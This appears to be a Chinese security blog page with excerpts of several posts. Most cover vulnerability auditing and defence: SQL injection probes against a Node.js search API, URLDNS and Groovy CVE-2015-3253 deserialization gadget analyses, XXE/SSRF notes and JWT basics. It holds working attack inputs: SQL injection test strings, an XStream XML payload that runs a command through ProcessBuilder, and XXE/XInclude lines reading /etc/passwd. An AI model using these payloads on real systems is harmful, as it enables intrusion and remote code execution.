• Linear Regression

    0x01 LR

    回归的目的是预测数值型的目标值

    线性回归意味着可以将输入项分别乘以一些常量,再将结果加起来得到输出

    优点:

    • 结果易于理解
    • 计算不复杂

    缺点:

    • 对非线性数据拟合不好

    适用数据类型

    • 标称型
    • 数值型

    0x02 最佳拟合直线

    将数据视为直线进行建模

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    def standRegres(xArr, yArr):
    '''
    计算最佳拟合直线
    :param xArr:
    :param yArr:
    :return:
    '''
    xMat = mat(xArr)
    yMat = mat(yArr).T #Returns the transpose of the matrix
    xTx = xMat.T*xMat
    if linalg.det(xTx) == 0.0:
    print("This matrix is singular, cannot do inverse")
    return
    ws = xTx.I * (xMat.T*yMat)
    return ws

    在用内积来预测y的时候,第一维将乘以前面的常数X0,第二维将乘以输入变量X1
    因为前面假定了X0=1,所以最终会得到y=ws[0]+ws[1]*X1

    • 局部加权线性回归

    给待预测点附近的每个点赋予一定的权重
    每次预测均需要事先选取出对应的数据子集
    使用“核”来对附近的点赋予更高的权重

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    def lwlr(testPoint, xArr, yArr, k=1.0):
    '''
    局部加权线性回归
    给定x空间中的任意一点,计算出对应的预测值yHat
    :param testPoint:
    :param xArr:
    :param yArr:
    :param k:
    :return:
    '''
    xMat = mat(xArr)
    yMat = mat(yArr).T
    m = shape(xMat)[0]
    weights = mat(eye((m))) #对角权重矩阵
    for j in range(m):
    diffMat = testPoint - xMat[j, :] #
    weights[j, j] = exp(diffMat*diffMat.T/(-2.0*k**2))
    xTx = xMat.T * (weights * xMat)
    if linalg.det(xTx) == 0.0:
    print("This matrix is singular, cannot do inverse")
    return
    ws = xTx.I * (xMat.T * (weights * yMat))
    return testPoint * ws

    • 缩减系数

    岭回归

    • 用来处理特征数多于样本数的情况
    • 用于在估计中加入偏差
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    def ridgeRegres(xMat, yMat, lam=0.2):
    '''
    计算回归系数
    :param xMat:
    :param yMat:
    :param lam:
    :return:
    '''
    xTx = xMat.T*xMat
    denom = xTx + eye(shape(xMat)[1])*lam
    if linalg.det(denom) == 0.0:
    print("This matrix is singular, cannot do inverse")
    return
    ws = denom.I * (xMat.T*yMat)
    return ws

    def ridgeTest(xArr, yArr):
    xMat = mat(xArr)
    yMat=mat(yArr).T
    yMean = mean(yMat, 0)
    yMat = yMat - yMean
    xMeans = mean(xMat, 0)
    xVar = var(xMat, 0)
    xMat = (xMat - xMeans)/xVar
    numTestPts = 30
    wMat = zeros((numTestPts, shape(xMat)[1]))
    for i in range(numTestPts):
    ws = ridgeRegres(xMat, yMat, exp(i-10))
    wMat[i, :] = ws.T
    return wMat

    lasso
    前向逐步回归

  • NodeJS sql注入漏洞审计和修复

    一、问题代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    async search(
    ……
    let rows = await getManager().query(`
    SELECT DISTINCT(id),
    name,
    description,
    gmt_modified
    FROM(
    SELECT a.*,
    ……
    WHERE name LIKE '%${name}%' OR tag_name LIKE '%${name}%'
    ORDER BY gmt_modified DESC
    LIMIT 20
    `);
    …….

    二、黑盒测试过程:

    /api/search?name=123’

    {“success”:false,”errormsg”:”er_parse_error: you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ‘Ͽor tag_name like ‘3’Ͽn order by gmt_modified desc \n limit’ at line 18”}

    /api/search?name=123’’

    {“success”:true,”data”:[]}

    /api/search?name=123'and’’=‘

    {“success”:true,”data”:[]}

    /api/search?name='and if(1=1,exp(999),3)and'1

    {“success”:false,”errormsg”:”er_data_out_of_range: double value is out of range in ‘exp(999)’”}

    /api/search?name='and if(1=2,exp(999),3)and'1

    {“success”:true,”data”:[{“id”:82,……}]}

    三、修复方案

    1. mysql.escapeId(identifier)、connection.escapeId(identifier) 或 pool.escapeId(identifier)
    1
    2
    3
    4
    5
    6
    var sorter = 'date';
    var sql = 'SELECT * FROM posts ORDER BY ' + connection.escapeId(sorter);
    connection.query(sql, function (error, results, fields) {
    if (error) throw error;
    // ...
    });
    1
    2
    3
    var sorter = 'date';
    var sql = 'SELECT * FROM posts ORDER BY ' + connection.escapeId('posts.' + sorter);
    // -> SELECT * FROM posts ORDER BY `posts`.`date`
    1. reparing Queries
    1
    2
    3
    var sql = "SELECT * FROM ?? WHERE ?? = ?";
    var inserts = ['users', 'id', userId];
    sql = mysql.format(sql, inserts);
    1. Custom format
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    connection.config.queryFormat = function (query, values) {
    if (!values) return query;
    return query.replace(/\:(\w+)/g, function (txt, key) {
    if (values.hasOwnProperty(key)) {
    return this.escape(values[key]);
    }
    return txt;
    }.bind(this));
    };

    connection.query("UPDATE posts SET title = :title", { title: "Hello MySQL" });

    参考: https://github.com/mysqljs/mysql#escaping-query-identifiers

  • URLDNS反序列化gadget分析

    0x00 分析gadget代码

    ysoserial中URLDNS gadget代码只有短短几行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    URLStreamHandler handler = new SilentURLStreamHandler();

    ········

    static class SilentURLStreamHandler extends URLStreamHandler {

    protected URLConnection openConnection(URL u) throws IOException {
    return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
    return null;
    }
    }

    注释中提到“为避免在创建payload时触发DNS解析”,这里就有两个问题:

    1、创建payload时为什么会触发DNS解析?
    2、重写URLStreamHandler的作用是什么呢?
    
    1
    2
    3
    HashMap ht = new HashMap();  //HashMap中将包含URL
    URL u = new URL(null, url, handler); //创建URL,作为HashMap中的key
    ht.put(u, url); //值可以是任何Serializable, URL作为key触发DNS lookup。

    这几句的含义是创建一个HashMap,将URL对象作为key,在HashMap put操作的时候,会触发URL的序列化,在序列化的时候触发DNS解析。

    在开头注释中也提示了Gadget Chain

    • HashMap.readObject()
      
    •   HashMap.putVal()
      
    •     HashMap.hash()
      
    •       URL.hashCode()
      
    1
    Reflections.setFieldValue(u, "hashCode", -1);//在上面的put过程中,URL的hashCode被计算并缓存。这将重置它,以便下次调用hashCode时触发DNS查找。

    这句在这里的作用不太好理解,大概推测是hashcode的值为-1时,有不同的作用,这个疑问我们也留到下文中来寻找答案。

    0x01 java.net.URL类为什么会触发DNS解析?

    根据注释中的Chain,我们找到URL.hashCode(),if (hashCode != -1)这句可以解释上节中的“-1”的疑问了,当不等于“-1”的时候,会直接返回,而不会调用到 handler.hashCode中。

    1
    2
    3
    4
    5
    6
    7
    public synchronized int hashCode() {
    if (hashCode != -1)
    return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
    }

    继续看 handler.hashCode做了哪些事情,可以看到getHostAddress会请求一次DNS解析,构成反序列化链路中的执行点。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
    h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);

     

    0x02 java.net.URL类如何触发DNS解析的(寻找触发点)?

    定位到触发点HashMap.readObject(),可以看到这个方法将java.io.ObjectInputStream反序列化后的值putVal进Node中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
    throw new InvalidObjectException("Illegal load factor: " +
    loadFactor);
    s.readInt(); // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
    throw new InvalidObjectException("Illegal mappings count: " +
    mappings);
    else if (mappings > 0) { // (if zero, use defaults)
    // Size the table using given load factor only if within
    // range of 0.25...4.0
    float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    float fc = (float)mappings / lf + 1.0f;
    int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
    DEFAULT_INITIAL_CAPACITY :
    (fc >= MAXIMUM_CAPACITY) ?
    MAXIMUM_CAPACITY :
    tableSizeFor((int)fc));
    float ft = (float)cap * lf;
    threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
    (int)ft : Integer.MAX_VALUE);

    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
    @SuppressWarnings({"rawtypes","unchecked"})
    Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
    table = tab;

    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
    K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false);
    }
    }
    }

    putVal的入参如下,其中在第一个入参hash方法(计算key.hashCode()并将较高的哈希值扩展为较低的哈希值),会调用key的hashcode方法。所以如果key是URL对象的话,就会调用到URL.hashCode方法,进而触发DNS解析。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    /**
    * Implements Map.put and related methods
    *
    * @param hash hash for key
    * @param key the key
    * @param value the value to put
    * @param onlyIfAbsent if true, don't change existing value
    * @param evict if false, the table is in creation mode.
    * @return previous value, or null if none
    */
    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
    boolean evict)

    0x03 如何利用/利用代码为什么要这么写?

    需要注意两个点:
    1、hashCode默认是-1,如果触发一次DNS解析,则会缓存hashCode,导致后续请求时无法触发;
    2、避免在生成payload的时候put触发DNS解析,这里也就回答文章开头的两个疑问,通过重写getHostAddress避免触发DNS解析。

    为什么HashMap要自己实现writeObject和readObject方法,而不是使用JDK统一的默认序列化和反序列化操作呢?

    首先要明确序列化的目的,将java对象序列化,一定是为了在某个时刻能够将该对象反序列化,而且一般来讲序列化和反序列化所在的机器是不同的,因为序列化最常用的场景就是跨机器的调用,而序列化和反序列化的一个最基本的要求就是,反序列化之后的对象与序列化之前的对象是一致的。

    HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

    Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的。

    参考链接:https://juejin.cn/post/6844903954774491144

  • Security & Data

    幻灯片01
    幻灯片02
    幻灯片03
    幻灯片04
    幻灯片05
    幻灯片06
    幻灯片07
    幻灯片08

  • Groovy Deserialization(groovy.util.Expando)CVE-2015-3253

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253

    影响版本(1.7.0~2.4.3)

    调用链分析

    MethodClosure

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public class MethodClosure extends Closure {
    private String method;

    public MethodClosure(Object owner, String method) {
    super(owner);
    this.method = method;
    Class clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass();
    this.maximumNumberOfParameters = 0;
    this.parameterTypes = new Class[0];
    List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
    Iterator i$ = methods.iterator();

    while(i$.hasNext()) {
    MetaMethod m = (MetaMethod)i$.next();
    if (m.getParameterTypes().length > this.maximumNumberOfParameters) {
    Class[] pt = m.getNativeParameterTypes();
    this.maximumNumberOfParameters = pt.length;
    this.parameterTypes = pt;
    }
    }

    }

    public String getMethod() {
    return this.method;
    }

    protected Object doCall(Object arguments) {
    return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
    }

    doCall()作用应该是执行构件好的对象(this.getOwner())的方法(this.method)

    invokeMethod

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public static Object invokeMethod(Object object, String methodName, Object arguments) {
    if (object == null) {
    object = NullObject.getNullObject();
    }

    if (object instanceof Class) {
    Class theClass = (Class)object;
    MetaClass metaClass = metaRegistry.getMetaClass(theClass);
    return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
    } else {
    return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
    }
    }

    调用指定对象的指定方法
    所以可以利用这个方法来执行命令

    1
    MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start").call();

    通过java.lang.ProcessBuilder对象的start方法执行open命令

    根据上边的分析,MethodClosure.call() == "command".execute()

    找到了存在缺陷的方法,接下来就要看有哪些地方调用了这个方法
    断点调试call()可以看到被hashcode()调用了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public int hashCode() {
    Object method = this.getProperties().get("hashCode");
    if (method != null && method instanceof Closure) {
    Closure closure = (Closure)method;
    closure.setDelegate(this);
    Integer ret = (Integer)closure.call();
    return ret.intValue();
    } else {
    return super.hashCode();
    }
    }

    hashCode的功能和特性

    如果两个对象相同,那么它们的hashCode  值一定要相同
    如果两个对象的hashCode相同,它们并不一定相同     
    上面说的对象相同指的是用eqauls方法比较
    

    所以当两个对象进行比较时,会调用hashcode和eqauls,如果结果一致则相等

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public V put(K key, V value) {
    if (table == EMPTY_TABLE) {
    inflateTable(threshold);
    }
    if (key == null)
    return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
    Object k;
    if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
    V oldValue = e.value;
    e.value = value;
    e.recordAccess(this);
    return oldValue;
    }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
    }

    put方法是用来向HashMap中添加新的元素,从put方法的具体实现可知,会先调用hashCode方法得到该元素的hashCode值,然后查看table中是否存在该hashCode值,如果存在则调用equals方法重新确定是否存在该元素,如果存在,则更新value值,否则将新的元素添加到HashMap中

    所以当把我们构造的代码添加进去时,put就会调用hashcode进行比较,进而执行代码

    1
    2
    3
    public void setProperty(String property, Object newValue) {
    this.getProperties().put(property, newValue);
    }

    Object method = this.getProperties().get("hashCode")自定义hashcode,调用setProperty可以绑定hashcode属性
    closure.call()注定了hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类

    然后通过调用hashcode的put方法即可执行构造的代码

    poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <map> 
    <entry>
    <groovy.util.Expando>
    <expandoProperties>
    <entry>
    <string>hashCode</string>
    <org.codehaus.groovy.runtime.MethodClosure>
    <delegate class="groovy.util.Expando" reference="../../../.."/>
    <owner class="java.lang.ProcessBuilder">
    <command>
    <string>open</string>
    <string>/Applications/Calculator.app</string>
    </command>
    <redirectErrorStream>false</redirectErrorStream>
    </owner>
    <resolveStrategy>0</resolveStrategy>
    <directive>0</directive>
    <parameterTypes/>
    <maximumNumberOfParameters>0</maximumNumberOfParameters>
    <method>start</method>
    </org.codehaus.groovy.runtime.MethodClosure>
    </entry>
    </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
    </entry>
    </map>

    参考:
    https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/
    http://avfisher.win/archives/tag/groovy

  • 基于token的认证

    说到token就必然绕不开cookie和session。

    cookie:由服务端给客户端颁发的一张通行证,用来验证客户端的身份,本质上是一段在浏览器上以KV形式存储的文本数据,包含了session相关信息。用于解决HTTP协议无状态的问题,所以cookie是一个会话跟踪机制,是有状态的。

    session:当客户端请求服务端通过验证后,服务端会生成保存身份认证相关的session数据,并将session相关信息写入cookie返回给客户端,然后客户端将cookie保存到本地。之后两端就通过核对session信息来确认可信状态。session 可能会存储在内存、磁盘、数据库里,可能需要在服务端定期的去清理过期的 session。

    0x02 token

    既然有了cookie/session为啥还需要token呢

    优点

    1、无状态、可扩展

    2、安全性

    3、可扩展性

    4、多平台跨域/单点登陆

    5、基于标准

    6、缓解服务器内存压力/增大服务器计算压力

    格式

    UID + TIME + SIGN [+ OTHER]

    0x03 实施

    JSON Web Tokens(JWT)

    组成

    • header

    用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等

    1
    2
    3
    4
    {
    "typ": "JWT",
    "alg": "HS256"
    }

    base64一下

    ewogICJ0eXAiOiAidG9rZW7nsbvlnosiLAogICJhbGciOiAi562+5ZCN566X5rOVIgp9

    • payload

    标准文档:https://tools.ietf.org/html/draft-ietf-oauth-json-web-token-32#section-4.1

    可以在其中添加这些字段

    1
    2
    3
    4
    5
    6
    7
    iss:Issuer,发行者
    sub:Subject,主题
    aud:Audience,观众
    exp:Expiration time,过期时间
    nbf:Not before
    iat:Issued at,发行时间
    jti:JWT ID
    1
    2
    3
    4
    5
    Map<String , Object> payload=new HashMap<String, Object>();
    Date date=new Date();
    payload.put("uid", "007");
    payload.put("iat", date.getTime());
    payload.put("ext",date.getTime()+1000*60*60);

    上边代码中添加的字段如下

    1
    2
    3
    4
    5
    {
    "iat": 当前时间,
    "exp": 过期时间,
    "uid": "007"
    }

    base64编码

    ewogICAgImlhdCI6IOW9k+WJjeaXtumXtCwKICAgICJleHAiOiDov4fmnJ/ml7bpl7QsCiAgICAidWlkIjogIjAwNyIKfQ==

    这样payload就生成好了

    • signature

    将header和payload生成的base64编码通过.连接起来,如下

    ewogICJ0eXAiOiAidG9rZW7nsbvlnosiLAogICJhbGciOiAi562+5ZCN566X5rOVIgp9.ewogICAgImlhdCI6IOW9k+WJjeaXtumXtCwKICAgICJleHAiOiDov4fmnJ/ml7bpl7QsCiAgICAidWlkIjogIjAwNyIKfQ==

    然后再定义一个secret,如下

    secret

    通过header中定义的HS256算法以secret为密钥进行加密得到signature

    81faa5ef7b7596783cb3ed2f75618def367a9b7f8490047cb12880d895b794eb

    此时JWT就生成了,base64(header).base64(payload) .signature

    像这样ewogICJ0eXAiOiAidG9rZW7nsbvlnosiLAogICJhbGciOiAi562+5ZCN566X5rOVIgp9.ewogICAgImlhdCI6IOW9k+WJjeaXtumXtCwKICAgICJleHAiOiDov4fmnJ/ml7bpl7QsCiAgICAidWlkIjogIjAwNyIKfQ==.81faa5ef7b7596783cb3ed2f75618def367a9b7f8490047cb12880d895b794eb

    当然这种方式不能在token中携带敏感信息,例如密码

    0x04 应用

    • 单点登陆

    Set-Cookie: jwt=yyy.zzz.xxx; HttpOnly; max-age=980000; domain=.taobao.com

    • API 调用/授权

    https://api.weixin.qq.com/cgi-bin/component/api_query_auth?component_access_token=xxxx

    • 支付验证(一次性)

    • 串行服务调用

      一次性有效,再次生成token时以用户账户和第一次token为key,update该记录来判断

    • 敏感接口多次调用

    0x05 代码

    生成代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    private static final JWSHeader header=new JWSHeader(JWSAlgorithm.HS256, JOSEObjectType.JWT, null, null, null, null, null, null, null, null, null, null, null);

    /**
    * 生成token,该方法只在用户登录成功后调用
    *
    * @param Map集合,可以存储用户id,token生成时间,token过期时间等自定义字段
    * @return token字符串,若失败则返回null
    */
    public static String createToken(Map<String, Object> payload) {
    String tokenString=null;
    // 创建一个 JWS object
    JWSObject jwsObject = new JWSObject(header, new Payload(new JSONObject(payload)));
    try {
    // 将jwsObject 进行HMAC签名
    jwsObject.sign(new MACSigner(SECRET));
    tokenString=jwsObject.serialize();
    } catch (JOSEException e) {
    System.err.println("签名失败:" + e.getMessage());
    e.printStackTrace();
    }
    return tokenString;
    }

    校验代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    public static Map<String, Object> validToken(String token) {
    Map<String, Object> resultMap = new HashMap<String, Object>();
    try {
    JWSObject jwsObject = JWSObject.parse(token);
    Payload payload = jwsObject.getPayload();
    JWSVerifier verifier = new MACVerifier(SECRET);
    if (jwsObject.verify(verifier)) {
    JSONObject jsonOBj = payload.toJSONObject();
    // token校验成功(此时没有校验是否过期)
    resultMap.put("state", TokenState.VALID.toString());
    // 若payload包含ext字段,则校验是否过期
    if (jsonOBj.containsKey("ext")) {
    long extTime = Long.valueOf(jsonOBj.get("ext").toString());
    long curTime = new Date().getTime();
    // 过期了
    if (curTime > extTime) {
    resultMap.clear();
    resultMap.put("state", TokenState.EXPIRED.toString());
    }
    }
    resultMap.put("data", jsonOBj);
    } else {
    // 校验失败
    resultMap.put("state", TokenState.INVALID.toString());
    }
    } catch (Exception e) {
    //e.printStackTrace();
    // token格式不合法导致的异常
    resultMap.clear();
    resultMap.put("state", TokenState.INVALID.toString());
    }
    return resultMap;
    }

    参考:
    http://blog.leapoahead.com/2015/09/06/understanding-jwt/
    https://github.com/bigmeow/JWT

  • XXE代码审计和防御策略 for Java

    1、Java代码中的XXE触发点

    XXE的产生需要满足:1. 接收外部传入的XML格式,2.未禁用外部实体。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J
    XMLInputFactory (a StAX parser)
    Oracle DOM Parser
    TransformerFactory
    Validator
    SchemaFactory
    SAXTransformerFactory
    XMLReader
    SAXReader
    SAXBuilder
    No-op EntityResolver
    JAXB Unmarshaller
    XPathExpression
    java.beans.XMLDecoder
    Other XML Parsers
    Spring Framework MVC/OXM XXE Vulnerabilities
    Castor
    ……..

    https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

    XXE&SSRF

    1
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

    XInclude攻击

    1
    2
    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/></foo>

    2、如何防御XXE攻击

    2.1 禁用外部实体解析

    例如SAXReader

    1
    2
    3
    saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

    更多参考:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

    2.2 升级到安全版本

    Apache POI >= 4.1.1

  • SSRF代码审计和防御策略 for Java

    1、Java代码中的SSRF触发点

    SSRF的产生需要满足两个点:1. 接收外部传入的地址,2.发送请求。

    URL
    HttpClient
    HttpURLConnection
    ImageIO
    DriverManager
    Socket
    OkHttpClient
    ……

    2、如何防御SSRF攻击

    2.1 白名单判断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    public class SSRFWhiteChecker extends WhiteChecker {
    private static SSRFWhiteChecker instance = null;

    public SSRFWhiteChecker(){

    }

    public static SSRFWhiteChecker getInstance() {
    if (null == instance) {
    synchronized (SSRFWhiteChecker.class) {
    if (null == instance) {
    instance = new SSRFWhiteChecker();
    }
    }
    }
    return instance;
    }

    /**
    * @Description: 校验url是否在白名单内
    * @Param: url 网络地址
    * @return: boolean true 在白名单内;false 不在白名单内
    */
    public boolean verifyURL(String url){
    return super.verifyURL(url);
    }
    }

    2.2 防止重定向绕过

    对每次跳转都进行判断

    2.3 利用NetHooks实现TCP请求前置判断

    通过sun.net.NetHooks实现拦截TCP请求,进行host判断。

    该类的方法如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    /**
    * 定义要在绑定或连接TCP套接字之前调用的静态方法。
    */

    public final class NetHooks {

    /**
    * 带钩子的提供者,允许在绑定或连接TCP套接字之前转换套接字。
    *
    * <p> 这个类的具体实现应该定义一个零参数构造函数,并实现下面指定的抽象方法。
    */
    public static abstract class Provider {
    /**
    *初始化该类的新实例。
    */
    protected Provider() {}

    /**
    *在绑定TCP套接字之前调用。
    */
    public abstract void implBeforeTcpBind(FileDescriptor fdObj,
    InetAddress address,
    int port)
    throws IOException;

    /**
    *在连接未绑定的TCP套接字之前调用。
    */
    public abstract void implBeforeTcpConnect(FileDescriptor fdObj,
    InetAddress address,
    int port)
    throws IOException;
    }

    /**
    * 现在,我们在Solaris上加载SDP provider。将来,这可能会被更改为使用ServiceLoader工具,以允许部署其他提供者。
    */
    private static final Provider provider = new sun.net.sdp.SdpProvider();

    /**
    * 在绑定TCP套接字之前调用。
    */
    public static void beforeTcpBind(FileDescriptor fdObj,
    InetAddress address,
    int port)
    throws IOException
    {
    provider.implBeforeTcpBind(fdObj, address, port);
    }

    /**
    * 在连接未绑定的TCP套接字之前调用。
    */
    public static void beforeTcpConnect(FileDescriptor fdObj,
    InetAddress address,
    int port)
    throws IOException
    {
    provider.implBeforeTcpConnect(fdObj, address, port);
    }
    }

  • Flask前后端数据交互的几种常见方式

    前后端数据交互

    jquery ajax

    Post方式

    获取input value的几种方式:

    1
    2
    3
    4
    5
    $(" #name ").val()
    $(" input[ name='name' ] ").val()
    $(" input[ type='text' ] ").val()
    $(" input[ type='text' ]").attr("value")
    、、、

    坑1:如果没有$(‘#submit’).click(function()动作的话,就只能获取input的预设value,如果没有预设则返回空

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <body>
    <p>jquery ajax</p>
    <form id="form1">
    <input type="text" id="name">
    <input type="submit" value="Submit form" id="submit" />
    </form>
    <script type="text/javascript">
    $('#submit').click(function(){
    var data={}
    data['name'] = $('#name').val();
    $.ajax({
    type: 'POST',
    url: "/trans1",
    data: JSON.stringify(data),
    contentType: 'application/json; charset=UTF-8',
    dataType: 'json',
    success: function(data) {
    alert(data)
    },
    error: function(xhr, type) {
    }
    });
    });
    </script>
    </body>

    坑2:获取json数据可使用get_json()方法

    1
    2
    3
    4
    5
    @app.route('/trans1', methods=['post'])
    def trans1():
    name = request.get_json('name')
    print(name['name'])
    return jsonify(name['name'] + '233333')

    另一种写法

    坑3:input 的类型只能为button不能为submit只能为button,否则点击button会执行表单action,不会走jquery异步

    1
    2
    3
    4
    5
    6
    7
    8
    <script type="text/javascript">
    $('#submit').click(function(){
    var data={}
    data['name'] = $('#name').val();
    var url = "/trans1";
    $.post(url,JSON.stringify(data),function(data){alert(data)},'json');
    });
    </script>

    Flask WTF表单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from flask_wtf import Form
    from wtforms import StringField,SubmitField
    from wtforms.validators import DataRequired


    class TestForm(Form):
    name = StringField('name', validators=[DataRequired()])
    submit = SubmitField(label='submit')


    @app.route('/wtform', methods=['get','post'])
    def wtform():
    form = TestForm()
    name = form.name.data
    print(name)
    return render_template('wtform.html', form=form, name=name)

    坑4: {{form.hidden_tag()}}是flask防止csrf的机制,在config.py里配置SECRET_KEY = '************',在view.py中引入app.config.from_pyfile('config.py')

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <body>
    <form action="{{ url_for('wtform') }}" method="post">
    {{form.hidden_tag()}}
    <p>
    {{form.name}}<br>
    {{ form.submit }}
    </p>
    <p>Hello, {{ name }}</p>
    </form>
    </body>

    XMLHttpRequest

    Post

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <html>
    <head>
    <title>Practice AJAX</title>
    <script type="text/javascript">
    function do_ajax() {
    var req = new XMLHttpRequest();
    var result = document.getElementById('result');
    req.onreadystatechange = function()
    {
    if(this.readyState == 4 && this.status == 200) {
    result.innerHTML = this.responseText;
    } else {
    result.innerHTML = "...";
    }
    }
    req.open('POST', '/xmlhttp', true);
    req.setRequestHeader('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
    req.send("name=" + document.getElementById('name').value);
    }
    </script>
    </head>
    <body>
    <form action="index" method="post">
    <label>Name:<input type="text" id="name" value="" /></label>
    <button type="button" id="btn-post" onclick="do_ajax();">Click</button>
    <div id="result"></div>
    </form>
    </body>
    </html>
    1
    2
    3
    4
    5
    6
    @app.route('/xmlhttp', methods=['GET', 'POST'])
    def xmlhttp():
    if request.method == 'POST':
    name = request.form['name']
    return 'hello' + name
    return render_template('XMLHttpRequest.html')

    WebSocket(Flask-Socketio)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
